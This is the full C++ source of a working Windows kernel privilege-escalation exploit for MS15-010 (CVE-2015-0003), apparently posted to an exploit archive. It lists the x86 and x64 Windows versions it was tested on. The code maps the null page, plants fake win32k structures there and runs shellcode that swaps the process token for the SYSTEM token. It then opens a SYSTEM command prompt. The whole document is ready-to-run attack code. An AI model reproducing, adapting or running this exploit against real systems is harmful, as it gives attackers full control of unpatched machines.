Microsoft Windows - Privilege Escalation (MS15-010)

// ex.cpp

/*

	Windows XP/2K3/VISTA/2K8/7 WM_SYSTIMER Kernel EoP

	CVE-2015-0003

	March 2015 (Public Release: May 24, 2015)



	Tested on:

				x86: Win 7 SP1 | Win 2k3 SP2 | Win XP SP3

				x64: Win 2k8 SP1 | Win 2k8 R2 SP1



	Author: Skylake - skylake <at> mail <dot> com

*/



#include "ex.h"



_ZwAllocateVirtualMemory ZwAllocateVirtualMemory;

_PsLookupProcessByProcessId PsLookupProcessByProcessId;

_PsReferencePrimaryToken PsReferencePrimaryToken;

DWORD Pid;

ATOM atom;

BOOL KrnlMode, bSpawned;



DWORD_PTR WINAPI pti()

{

#ifdef _M_X64

	LPBYTE p = ( LPBYTE ) __readgsqword( 0x30 );

	return ( DWORD_PTR ) *( ( PDWORD_PTR ) ( p + 0x78 ) );

#else

	LPBYTE p = ( LPBYTE ) __readfsdword( 0x18 );

	return ( DWORD_PTR ) *( ( PDWORD_PTR ) ( p + 0x40 ) );

#endif

}



BOOL find_and_replace_member( PDWORD_PTR pdwStructure, DWORD_PTR dwCurrentValue, DWORD_PTR dwNewValue, DWORD_PTR dwMaxSize )

{

	DWORD_PTR dwIndex, dwMask;



#ifdef _M_X64

	dwMask = ~0xf;

#else

	dwMask = ~7;

#endif

	//

	dwCurrentValue &= dwMask;



	for( dwIndex = 0; dwIndex < dwMaxSize; dwIndex++ )

	{

		if( ( pdwStructure[dwIndex] & dwMask ) == dwCurrentValue )

		{

			//

			pdwStructure[dwIndex] = dwNewValue;

			return TRUE;

		}

	}



	return FALSE;

}



BOOL WINAPI Init()

{

	HMODULE hMod = NULL;

	PVOID Base = NULL;

	OSVERSIONINFO ov = { sizeof( OSVERSIONINFO ) };

	PSYSTEM_MODULE_INFORMATION pm = NULL;

	BOOL RetVal = FALSE;



	__try {



		if( !GetVersionEx( &ov ) ) __leave;



		if( ov.dwMajorVersion == 5 && ov.dwMinorVersion > 0 )

		{

			atom = 0xc039;

		}



		else if( ov.dwMajorVersion == 6 && ov.dwMinorVersion < 2 )

		{

			atom = ( ov.dwMinorVersion == 1 ) ? 0xc03c : 0xc03a;

		}



		if( !atom ) __leave;



		_ZwQuerySystemInformation ZwQuerySystemInformation = ( _ZwQuerySystemInformation ) GetProcAddress( GetModuleHandle( TEXT( "ntdll.dll" ) ), "ZwQuerySystemInformation" );

		if( !ZwQuerySystemInformation ) __leave;



		ZwAllocateVirtualMemory = ( _ZwAllocateVirtualMemory ) GetProcAddress( GetModuleHandle( TEXT( "ntdll.dll" ) ), "ZwAllocateVirtualMemory" );

		if( !ZwAllocateVirtualMemory ) __leave;



		ULONG len;

		LONG status = ZwQuerySystemInformation( SystemModuleInformation, NULL, 0, &len );

		if( !status ) __leave;



		pm = ( PSYSTEM_MODULE_INFORMATION ) LocalAlloc( LMEM_ZEROINIT, len );

		if( !pm ) __leave;

		status = ZwQuerySystemInformation( SystemModuleInformation, pm, len, &len );

		if( status ) __leave;



		CHAR szKrnl[MAX_PATH] = { 0 }, *t;



		for( ULONG i = 0; i < pm->Count; ++i )

		{

			if( strstr( pm->Module[i].ImageName, "exe" ) )

			{

				t = strstr( pm->Module[i].ImageName, "nt" );

				if( t )

				{

					strcpy_s( szKrnl, _countof( szKrnl ) - 1, t );

					Base = pm->Module[i].Base;

					break;

				}

			}

		}



		hMod = LoadLibraryA( szKrnl );



		if( !hMod || !Base ) __leave;

		

		PsLookupProcessByProcessId = ( _PsLookupProcessByProcessId ) GetProcAddress( hMod, "PsLookupProcessByProcessId" );

		if( !PsLookupProcessByProcessId ) __leave;



		PsLookupProcessByProcessId = ( _PsLookupProcessByProcessId ) ( ( DWORD_PTR ) Base + ( ( DWORD_PTR ) PsLookupProcessByProcessId - ( DWORD_PTR ) hMod ) );



		PsReferencePrimaryToken = ( _PsReferencePrimaryToken ) GetProcAddress( hMod, "PsReferencePrimaryToken" );



		if( !PsReferencePrimaryToken ) __leave;



		PsReferencePrimaryToken = ( _PsReferencePrimaryToken ) ( ( DWORD_PTR ) Base + ( ( DWORD_PTR ) PsReferencePrimaryToken - ( DWORD_PTR ) hMod ) );

		Pid = GetCurrentProcessId();

		RetVal = TRUE;

	}



	__finally {

		if( pm ) LocalFree( pm );

		if( hMod ) FreeLibrary( hMod );

	}



	return RetVal;

}



LRESULT CALLBACK ShellCode( HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam )

{

	LPVOID pCurProcess = NULL;

	LPVOID pSystemInfo = NULL;

	PACCESS_TOKEN systemToken;

	PACCESS_TOKEN targetToken;



	PsLookupProcessByProcessId( ( HANDLE ) Pid, &pCurProcess );

	PsLookupProcessByProcessId( ( HANDLE ) 4, &pSystemInfo );



	targetToken = PsReferencePrimaryToken( pCurProcess );

	systemToken = PsReferencePrimaryToken( pSystemInfo );



	//

	find_and_replace_member( ( PDWORD_PTR ) pCurProcess,

		( DWORD_PTR ) targetToken,

		( DWORD_PTR ) systemToken,

		0x200 );

	KrnlMode = TRUE;

	return  0;

}



VOID WINAPI leave()

{

	keybd_event( VK_ESCAPE, 0, 0, NULL );

	keybd_event( VK_ESCAPE, 0, KEYEVENTF_KEYUP, NULL );

	keybd_event( VK_LWIN, 0, KEYEVENTF_KEYUP, NULL );

}



LRESULT CALLBACK WndProc( HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam )

{

	if( bSpawned )

	{

		leave();

		ExitProcess( 0 );

	}



	switch( message )

	{

	case WM_CREATE:

		SetTimer( hWnd, ID_TIMER, 1000 * 3, NULL );

		FlashWindow( hWnd, TRUE );

		keybd_event( VK_LWIN, 0, 0, NULL );

		break;

	case WM_CLOSE:

		DestroyWindow( hWnd );

		break;

	case WM_DESTROY:

		PostQuitMessage( 0 );

		break;

	case WM_TIMER:

		KillTimer( hWnd, ID_TIMER );

		leave();

		DestroyWindow( hWnd );

		break;

	default:

		return DefWindowProc( hWnd, message, wParam, lParam );

	}

	return 0;

}



int APIENTRY _tWinMain( _In_ HINSTANCE hInstance,

	_In_opt_ HINSTANCE hPrevInstance,

	_In_ LPTSTR    lpCmdLine,

	_In_ int       nCmdShow )

{

	WNDCLASSEX wc = { sizeof( WNDCLASSEX ) };

	HWND hWnd = NULL;

	MSG Msg = { 0 };



	SIZE_T size = 0x1000;

	LPVOID addr = ( LPVOID ) 1;



	if( !Init() ) return 1;

	

	if( ZwAllocateVirtualMemory( ( HANDLE ) -1, &addr, 0, &size, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE ) )

	{

		//

		return 1;

	}



	DWORD_PTR p = pti();

	if( !p ) return 1;



#ifdef _M_X64

	*( ( PDWORD_PTR ) 0x10 ) = p;

	*( ( LPBYTE ) 0x2a ) = 4;

	*( ( LPVOID* ) 0x90 ) = ( LPVOID ) ShellCode;

	*( ( PDWORD_PTR ) 0xa8 ) = 0x400;

	*( ( LPDWORD ) 0x404 ) = 1;

	*( ( PDWORD_PTR ) 0x408 ) = 0x800;

	*( ( LPWORD ) 0x410 ) = atom;

	*( ( LPBYTE ) 0x412 ) = 1;

#else

	*( ( LPDWORD ) 0x08 ) = p;

	*( ( LPBYTE ) 0x16 ) = 4;

	*( ( LPVOID* ) 0x60 ) = ( LPVOID ) ShellCode;

	*( ( LPDWORD ) 0x6c ) = 0x400;

	*( ( LPDWORD ) 0x404 ) = 1;

	*( ( LPDWORD ) 0x408 ) = 0x800;

	*( ( LPWORD ) 0x40c ) = atom;

	*( ( LPBYTE ) 0x40e ) = 1;

#endif



	wc.lpfnWndProc = WndProc;

	wc.hInstance = hInstance;

	wc.lpszClassName = TEXT( "Class" );

	

	if( !RegisterClassEx( &wc ) )

		return 1;

	hWnd = CreateWindowEx(

		WS_EX_CLIENTEDGE,

		TEXT( "Class" ),

		TEXT( "Window" ),

		WS_OVERLAPPEDWINDOW,

		CW_USEDEFAULT, CW_USEDEFAULT, 200, 100,

		NULL, NULL, hInstance, NULL );

	if( !hWnd )

		return 1;

	ShowWindow( hWnd, SW_HIDE );

	UpdateWindow( hWnd );



	while( GetMessage( &Msg, NULL, 0, 0 ) )

	{

		if ( Msg.message == WM_SYSTIMER ) // Borrowed from http://blog.beyondtrust.com/fuzzing-for-ms15-010

		{

			if( !KrnlMode )

			{

				Msg.hwnd = ( HWND ) NULL;

			}

			else

			{

				Msg.hwnd = hWnd;

				if( !bSpawned )

				{

					ShellExecute( NULL, TEXT( "open" ), TEXT( "cmd.exe" ), NULL, NULL, SW_SHOW );

					bSpawned = TRUE;

				}

			}

		}



		TranslateMessage( &Msg );

		DispatchMessage( &Msg );

	}



	return ( int ) Msg.wParam;

}

// EOF













//ex.h



#pragma once



#include <windows.h>

#include <stdio.h>

#include <tchar.h>



typedef NTSTATUS ( WINAPI *_ZwAllocateVirtualMemory ) (

	_In_    HANDLE    ProcessHandle,

	_Inout_ PVOID     *BaseAddress,

	_In_    ULONG_PTR ZeroBits,

	_Inout_ PSIZE_T   RegionSize,

	_In_    ULONG     AllocationType,

	_In_    ULONG     Protect

	);



typedef NTSTATUS ( WINAPI *_PsLookupProcessByProcessId ) (

	_In_  HANDLE ProcessId,

	_Out_ PVOID  *Process

	);



typedef PACCESS_TOKEN ( WINAPI *_PsReferencePrimaryToken ) (

	_Inout_ PVOID Process

	);



typedef enum _SYSTEM_INFORMATION_CLASS {

	SystemBasicInformation = 0,

	SystemModuleInformation = 11

} SYSTEM_INFORMATION_CLASS;



typedef NTSTATUS ( WINAPI *_ZwQuerySystemInformation ) (

	_In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,

	_Inout_   PVOID                    SystemInformation,

	_In_      ULONG                    SystemInformationLength,

	_Out_opt_ PULONG                   ReturnLength

	);



typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {

	HANDLE Section;

	PVOID  MappedBase;

	PVOID  Base;

	ULONG  Size;

	ULONG  Flags;

	USHORT LoadOrderIndex;

	USHORT InitOrderIndex;

	USHORT LoadCount;

	USHORT PathLength;

	CHAR   ImageName[256];

} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;



typedef struct _SYSTEM_MODULE_INFORMATION {

	ULONG Count;

	SYSTEM_MODULE_INFORMATION_ENTRY Module[1];

} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;



#define ID_TIMER    0x1

#define WM_SYSTIMER 0x118

// EOF